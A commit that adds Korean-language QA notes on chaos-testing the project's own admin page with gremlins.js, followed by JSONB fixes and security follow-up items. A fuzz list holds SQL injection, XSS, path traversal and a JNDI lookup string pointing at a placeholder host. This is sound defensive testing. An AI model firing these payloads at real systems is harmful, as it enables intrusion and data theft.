docs(notes): 그렘린 카오스 테스트 + JSONB autopilot 작업 노트
Build & Deploy to K8s / build-and-deploy (push) Successful in 4m34s

- 2026-05-02-agents-gremlins-report.md — AI 에이전트 페이지 그렘린 1차 결과
- 2026-05-02-gremlins-jsonb-autopilot-report.md — 종합 리포트 (audit-log fix +
  AI 모듈 JSONB 일괄 적용 + Phase 4 검증 결과 + follow-up 항목)

향후 follow-up (별도 PR 권장):
- H1: AiAgentApiKey listAll cross-tenant 노출 (security)
- M1: AiLlmProvider.config 평문 노출 가능성
- M3: AiAgentProviderController create/update model 직접 노출
- M4: workspace/page.tsx 잔여 connectors 직접 접근 5곳

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
This commit is contained in:
2026-05-02 16:12:06 +09:00
parent 04cea72f33
commit 19f7615367
2 changed files with 397 additions and 0 deletions
@@ -0,0 +1,181 @@
# AI 에이전트 관리 페이지 — 그렘린 카오스 테스트 리포트
- **일시**: 2026-05-02
- **대상**: `http://localhost:9772/admin/aiAssistant/agents`
- **방법**: Claude-in-Chrome MCP + gremlins.js v2.2.0 + Fuzz Payload 주입
- **계정**: Invyone (최고 관리자)
- **테스트 시점 페이지 상태**: 에이전트 추가 모달 + Tweaks 패널 열림
---
## 1. 테스트 구성
| 단계 | 도구/방식 | 횟수 | 종(Species) |
|---|---|---|---|
| 1차 그렘린 | gremlins.js | 100 | clicker, toucher, formFiller, scroller, typer |
| 2차 그렘린 | gremlins.js | 500 | 동일 5종 |
| Fuzz Payload | input/textarea 직접 주입 | 36 (3 input × 12 payload) | SQL injection, XSS, 긴 문자열, 유니코드, JNDI, path traversal 등 |
### 사용한 Fuzz Payload
```
"", "' OR '1'='1", "<script>alert(1)</script>", "A".repeat(3000),
"𝒯𝑒𝓈𝓉 ㅎ안녕 🎉🔥", "../../../etc/passwd", "0", "-1", "9".repeat(20),
"<img src=x onerror=alert(1)>", "${jndi:ldap://x.com/a}", " "
```
### 수집기 설치 항목
- `window.error` 이벤트
- `unhandledrejection` 이벤트
- `console.error` 패치
- `fetch` 패치 (status >= 400 캐치)
- `XMLHttpRequest.open` 패치 (status >= 400 캐치)
---
## 2. 결과 요약
| 항목 | 1차(100) | 2차(500) | Fuzz(36) |
|---|---|---|---|
| 소요 시간 | 3.5s | 12.3s | 1.6s |
| 신규 버그 | 0 | 0 | **1** |
| URL 변경 | 없음 | 없음 | 없음 |
**총 발견 이슈: 2건** (그렘린 폭격으로 발견 1, 부수 검증으로 발견 1)
---
## 3. 발견된 이슈
### 🟡 Issue #1 — `GET /api/ai-agents` 500 산발 발생
- **상황**: 2차 폭격 + fuzz 진행 중 1회 발생
- **증거**: `xhr_500` 1건 수집 (메시지는 Claude-in-Chrome 보안 필터로 마스킹되었으나 path 추출 결과 `/api/ai-agents`)
- **재현 시도**: 직접 fetch 9건 — **모두 200 OK**
- `?` 빈 query
- `?search=`
- `?search=test`
- `?search=' OR '1'='1` (인코딩 / 비인코딩)
- `?page=-1`
- `?page=AAAA...` (300자)
- `?id=null`
- **추정 원인**:
- Race condition (동시 요청 폭주)
- 일시적 DB lock 또는 트랜잭션 충돌
- Spring 측 일시적 세션 검증 실패
- **심각도**: 🟡 중 (재현 불가, 산발성)
- **권장 조치**:
- Spring `application.log` 의 해당 시각 (`ts: 1777686237317` 근방) 스택 트레이스 확인
- `MDC` 로 request id 남겨 향후 동일 패턴 추적
### 🔴 Issue #2 — UI/API 데이터 불일치 ⭐ 핵심
- **상황**: 그렘린 폭격과 무관, 검증 과정에서 발견
- **증거**:
- 화면 표시: **"등록된 에이전트가 없습니다"**
- 실제 API 응답:
```json
{
"success": true,
"data": [{
"id": 13,
"agent_id": "agent-766beb3a",
"name": "UI 테스트 에이전트 (수정됨)",
"description": "두 번째 에이전트 (UI 흐름)",
"model": "claude-sonnet-4-20250514",
...
}]
}
```
- **추정 원인 후보**:
1. **테넌트 컨텍스트 불일치** — 백엔드는 모든 회사 데이터 반환, 프론트가 회사 필터링 후 빈 배열 인식
2. **React Query 캐시 stale** — 이전 빈 응답을 보여주고 재검증 안 함
3. **API 라우팅 분기** — `/api/ai-agents` 와 화면이 사용하는 endpoint 가 다름 (페이지에서 별도 endpoint 호출 가능성)
- **심각도**: 🔴 높음
- CLAUDE.md 멀티테넌시 가드와 직결 — 다른 회사 데이터 노출 가능성
- **권장 조치**:
1. `frontend/app/(main)/admin/aiAssistant/agents/page.tsx` 의 데이터 fetch 코드 확인 — 어느 endpoint 호출?
2. 백엔드 `ai-agents` mapper 의 `companyCodeFilter` include 여부 확인
3. 직접 호출 응답에 `company_code` 가 있는지 확인
---
## 4. 잡힌 것 / 잡히지 않은 것
| 항목 | 결과 |
|---|---|
| UI 크래시 | ✅ 없음 |
| 무작위 클릭 600회 안정성 | ✅ 견고 |
| 폼에 SQL injection / XSS 입력 시 클라이언트 측 폭주 | ✅ 없음 |
| 긴 문자열(3000자) 입력 처리 | ✅ 정상 |
| Console 에러 (앱 발생) | ✅ 0건 |
| Console 워닝 | 🟡 1건 — Radix `DialogContent` 의 `aria-describedby` 누락 (a11y) |
| 백엔드 5xx | 🟡 1건 (산발) |
| 데이터 일관성 | 🔴 1건 (UI/API 불일치) |
| Visual regression | 미검증 (별도 도구 필요) |
---
## 5. 결론 및 다음 단계
### 결론
- **에이전트 관리 페이지는 무작위 폭격에 매우 견고**
- 그렘린의 본래 목적(클라이언트 측 크래시 발견)으로는 큰 수확 없음
- 그러나 **부수 검증(fetch 가로채기)으로 의미 있는 백엔드/데이터 이슈 2건 발견**
### 다음 단계
1. Issue #2 (데이터 불일치) 즉시 조사 — 가장 중요
2. Issue #1 재현 시도 — 동시 다발 요청 (`Promise.all` × 50) 으로 race condition 유발
3. 다른 페이지에도 동일 절차 적용 — 사이드바 메뉴 자동 순회 + 그렘린 + fetch hook
4. Radix Dialog `aria-describedby` 추가 (a11y 개선, 1줄 수정)
### 재사용 가능한 자산
- 본 테스트 절차를 OMC 스킬로 전환 → `/oh-my-claudecode:gremlins` 같은 명령으로 재실행
- Playwright + axe-core + page.on('response') 조합으로 CI 통합 가능
---
## 6. 사용한 스크립트 (재현용)
```javascript
// 1. 다이얼로그 차단 + 수집기 + gremlins 로드
window.alert = () => {};
window.confirm = () => true;
window.prompt = () => '';
window.__gremBugs = [];
window.addEventListener('error', e => window.__gremBugs.push({ type:'window.error', msg:e?.message, url:location.href, ts:Date.now() }));
window.addEventListener('unhandledrejection', e => window.__gremBugs.push({ type:'unhandledrejection', msg:String(e.reason), url:location.href, ts:Date.now() }));
const origFetch = window.fetch;
window.fetch = async (...args) => {
const res = await origFetch(...args);
if (res.status >= 400) {
const u = typeof args[0] === 'string' ? args[0] : args[0]?.url;
window.__gremBugs.push({ type:`http_${res.status}`, msg:`${u} → ${res.status}`, url:location.href, ts:Date.now() });
}
return res;
};
await new Promise((res, rej) => {
const s = document.createElement('script');
s.src = 'https://unpkg.com/gremlins.js@2.2.0/dist/gremlins.min.js';
s.onload = res; s.onerror = rej;
document.head.appendChild(s);
});
// 2. 폭격
await window.gremlins.createHorde({
species: [
window.gremlins.species.clicker(),
window.gremlins.species.toucher(),
window.gremlins.species.formFiller(),
window.gremlins.species.scroller(),
window.gremlins.species.typer()
],
mogwais: [],
strategies: [window.gremlins.strategies.distribution({ delay: 15, nb: 500 })]
}).unleash();
// 3. 결과
console.log(window.__gremBugs);
```
@@ -0,0 +1,216 @@
# 2026-05-02 — 그렘린 카오스 테스트 + JSONB Fix Autopilot 종합 리포트
## 세션 개요
브라우저 그렘린 카오스 테스트 (Claude-in-Chrome MCP + gremlins.js + fetch hook) 로 INVYONE 의 숨겨진 백엔드/프론트엔드 버그를 발견하고 일괄 수정.
**본 세션의 핵심 인사이트**: 그렘린 폭격 자체는 클라이언트 크래시를 거의 안 잡았지만, **fetch hook + 자동 메뉴 순회 + 백엔드 docker logs stack trace 매핑** 3종 세트가 진짜 ROI. 이 패턴을 `/oh-my-claudecode:gremlins` 스킬로 캐시.
---
## 발견된 버그 (총 7개)
### Round 1 — Audit Log
| # | 종류 | 파일 / 위치 | Fix 상태 |
|---|---|---|---|
| 1 | URL 단/복수 mismatch (404) | `frontend/lib/api/auditLog.ts:62, 74, 90` + `frontend/components/screen/CopyScreenModal.tsx:1172` | ✅ `/audit-log``/audit-logs` |
| 2 | DB 컬럼명 mismatch (500) | `backend-spring/.../mapper/auditLog.xml` (11곳) | ✅ `CREATED_DATE``CREATED_AT` |
| 3 | API 응답 키 case mismatch | `frontend/lib/api/auditLog.ts:35-38` interface + `audit-log/page.tsx` (4곳) | ✅ camelCase → snake_case |
### Round 2 — Multi-Agent Workspace + AI 모듈 전반
| # | 종류 | 파일 / 위치 | Fix 상태 |
|---|---|---|---|
| 4 | JSONB string vs array (Client Exception) | `frontend/app/(main)/admin/aiAssistant/workspace/page.tsx:598` (`memberConnectors.map`) | ✅ Phase 1+3 |
| 5 | AI 모듈 Service 5개에 동일 패턴 누락 | `AiAgentApiKeyService`, `AiAgentProviderService`, `AiAgentConversationService`, `AiAgentService`, `AiSchedulerService` | ✅ Phase 2 |
| 6 | `getEntityById` 잉여 분기 (code review N6) | `AiAgentGroupService.java:94-98` | ✅ N6 simplify |
| 7 | 그렘린이 트리거한 산발적 5xx | `/api/ai-agents` GET | 🟡 재현 안 됨, race condition 의심 |
---
## 변경된 파일 전체 목록
### Backend (Java/Spring)
- `backend-spring/src/main/resources/mapper/auditLog.xml` (CREATED_DATE → CREATED_AT, 11곳)
- `backend-spring/src/main/java/com/erp/ai/service/AiAgentGroupService.java` (parseJsonField + memberToResponseMap)
- `backend-spring/src/main/java/com/erp/ai/service/AiAgentApiKeyService.java` (list 응답 변환)
- `backend-spring/src/main/java/com/erp/ai/service/AiAgentProviderService.java` (toMaskedMap 보강 + getById/getEntityById 분리)
- `backend-spring/src/main/java/com/erp/ai/service/AiAgentConversationService.java` (conversations + messages 변환)
- `backend-spring/src/main/java/com/erp/ai/service/AiAgentService.java` (list/getById Map + getEntityById 분리)
- `backend-spring/src/main/java/com/erp/ai/service/AiSchedulerService.java` (list/getById Map + getEntityById 분리)
- `backend-spring/src/main/java/com/erp/ai/controller/AiAgentApiKeyController.java` (return type generic)
- `backend-spring/src/main/java/com/erp/ai/controller/AiAgentController.java` (return type generic)
### Frontend (Next.js/React)
- `frontend/lib/api/auditLog.ts` (URL 4곳 + interface 4 key)
- `frontend/app/(main)/admin/audit-log/page.tsx` (stats access 4곳)
- `frontend/components/screen/CopyScreenModal.tsx` (audit-logs URL 1곳)
- `frontend/lib/utils.ts` (`safeArray<T>` / `safeObject<T>` 헬퍼 추가)
- `frontend/app/(main)/admin/aiAssistant/workspace/page.tsx` (safeArray 적용 + import)
### 메모리 / 스킬
- `~/.claude/skills/gremlins/SKILL.md` (그렘린 카오스 테스트 OMC 스킬 신설)
- `~/.claude/projects/.../memory/feedback_gremlins_default.md` (그렘린 default 1000마리 사용자 선호)
---
## Phase 4 Validation 결과
3개 reviewer 병렬 검증.
| Reviewer | 결과 |
|---|---|
| **Architect** | PASS WITH NOTES |
| **Code-reviewer** | APPROVE WITH NITPICKS |
| **Security-reviewer** | NEEDS REVIEW (H1 발견) |
본 task (JSONB fix) 는 모두 PASS. H1 은 인접한 보안 이슈로 별개 처리.
---
## 🔴 미처리 — Follow-up 필요 (별도 PR 권장)
### H1 (HIGH 보안) — `AiAgentApiKey listAll` Cross-tenant 노출
- `backend-spring/src/main/java/com/erp/ai/service/AiAgentApiKeyService.java:42-43`
- `apiKeyMapper.listAll()``company_code` 필터 없음
- `COMPANY_ADMIN` 이 다른 회사 API 키 목록 받음
- **이번 fix 가 응답을 명확히 하면서 더 잘 노출되는 부수효과**
- Mitigation 옵션:
- A) `listByCompany(companyCode)` mapper 쿼리 신설 + `COMPANY_ADMIN` 분기 변경
- B) `apiKeyMapper.xml``listAll``<include refid="common.companyCodeFilter"/>` 적용 + `SUPER_ADMIN` 만 별도 path
- C) Service 레벨에서 listAll 결과를 stream filter (단순, 단 풀 fetch)
- **권장**: 운영 적용 전 1주일 내 fix
### M1 — `AiLlmProvider.config` 평문 누출 가능성
- `backend-spring/src/main/java/com/erp/ai/service/AiAgentProviderService.java:130, 136`
- `api_key_encrypted``****+last4` 마스킹되지만 `config` JSONB 는 그대로 노출
- 운영자가 config 안에 평문 secret 넣으면 list 응답에서 노출
- Mitigation: config 키 이름 패턴 매칭 (`(?i)key|secret|token|password`) → 자동 마스킹
### M2 — `AiAgentApiKeyController.create` 응답 inconsistency
- `permissions` 필드가 list 에선 array, create 응답에선 string
- frontend `safeArray` 가 안전망 역할이지만 contract 차원에서 일관성 결여
- `AiAgentApiKeyService.toResponseMap` public 노출 → controller 에서 재사용 권장
### M3 — `AiAgentProviderController.create/update` model 직접 노출
- `backend-spring/src/main/java/com/erp/ai/controller/AiAgentProviderController.java:44-46, 53-55`
- `AiLlmProvider` model 그대로 응답 — `config` 가 string 으로 노출
- create 직후 응답을 직접 setState 하면 같은 폭발
### M4 — `workspace/page.tsx` 잔여 `connectors` 직접 접근 5곳
- line 116, 124, 140, 196, 210, 496
- 일부는 클라이언트 init state 라 안전, 일부는 백엔드 응답 사용 가능성
- 모두 `safeArray(...)` 로 통일 권장 (한 페이지 일관성)
### M5 — `api-keys-manage/page.tsx:374-379` `msg.tool_calls` 미방어
- `safeObject` 적용 권장
### N1 — `parseJsonField` 헬퍼 13벌 중복
- AI 모듈 6 + 비-AI 모듈 7 = 총 13 Service 가 동일 헬퍼
- CLAUDE.md "새 추상화 도입 안 함" 원칙엔 부합, 단 유지보수 비용 누적
- 별도 chore PR `refactor: extract MapJsonHelper utility` 권장 (장기)
### N2 — Naming 일관성 (`conv` 약어 vs 풀네임)
- `convToResponseMap``conversationToResponseMap` 권장 (`AiAgentConversationService.java`)
### N3 — `catch (Exception)` 너무 광범위
- 모든 `parseJsonField``catch (Exception e)``catch (JsonProcessingException e)` 로 좁히기
### Round 2 의 산발 5xx (재현 안 됨)
- `GET /api/ai-agents` 가 폭격 중 1회 500 응답
- 재현 시도 9건 모두 200
- Race condition / DB lock 의심
- MDC 로 request id 추가하여 향후 동일 패턴 추적 권장
---
## 검증 결과
**Phase 1 효과 확인** (실제 백엔드 응답):
```json
GET /api/ai-agent-groups/{id}
members[0].connectors: { isArray: true, type: "object", preview: "Array(0)" }
members[0].config: { isObject: true, type: "object", preview: "{}" }
HTTP 200 OK
```
이전 (fix 전):
```
connectors: STRING("[]") → frontend `.map()` 폭발
```
---
## 사용한 OMC 도구
- **Skill**: `gremlins` (이번 세션에서 신설)
- **Skill**: `autopilot` (Phase 1+2+3 일괄 실행)
- **Agent**: `architect` (옵션 A/B/C 자문 + Phase 4 검증)
- **Agent**: `executor` (Phase 2 — 5 Service 일괄 변경)
- **Agent**: `code-reviewer` (Phase 4 검증)
- **Agent**: `security-reviewer` (Phase 4 검증, H1 발견)
- **MCP**: `claude-in-chrome` (브라우저 자동화 + fetch hook)
---
## 확립된 패턴 (앞으로 재사용)
### Backend JSONB 응답 표준
```java
// Service 의 응답 메서드 (컨트롤러가 호출하는 것) 만 변환
public Map<String, Object> getById(long id) {
Entity e = mapper.getById(id);
if (e == null) return null;
Map<String, Object> row = new HashMap<>();
// ... 모든 필드 put
parseJsonField(row, "jsonb_field_1");
parseJsonField(row, "jsonb_field_2");
return row;
}
// 내부용 (model 그대로 필요한 곳, 예: LLM 호출)
public Entity getEntityById(long id) { return mapper.getById(id); }
private void parseJsonField(Map<String, Object> row, String key) {
Object val = row.get(key);
if (val instanceof String s && !s.isBlank()) {
try { row.put(key, objectMapper.readValue(s, Object.class)); }
catch (Exception e) { log.warn("Failed to parse JSONB field '{}': {}", key, e.getMessage()); }
}
}
```
### Frontend 안전망
```typescript
import { safeArray, safeObject } from "@/lib/utils";
// JSONB array 필드 사용
const items = safeArray<Item>(row.connectors);
items.map(...) // 안전
// JSONB object 필드 사용
const cfg = safeObject<Config>(row.config);
cfg.someKey // 안전
```
---
## 향후 미래 버그 예방안
CLAUDE.md 백엔드 섹션에 1단락 추가 권장:
```markdown
## JSONB 컬럼 응답 처리 (★ 절대 규칙)
PostgreSQL JSONB 컬럼은 mapper 에서 `column::text AS column` 으로 SELECT 하고,
**Service 레이어의 응답 메서드에서 `parseJsonField(row, "field1", ...)` 로 후처리**.
프론트 응답에 String 인 채로 노출 금지.
모범 사례: `BusinessRuleService.parseJsonField`, `AuditLogService.processChanges`,
`AiAgentGroupService.memberToResponseMap`
```
---
생성된 그렘린 스킬: `C:\Users\ramse\.claude\skills\gremlins\SKILL.md`
다음 세션부터 `/gremlins` 또는 "그램린" 키워드로 자동 호출.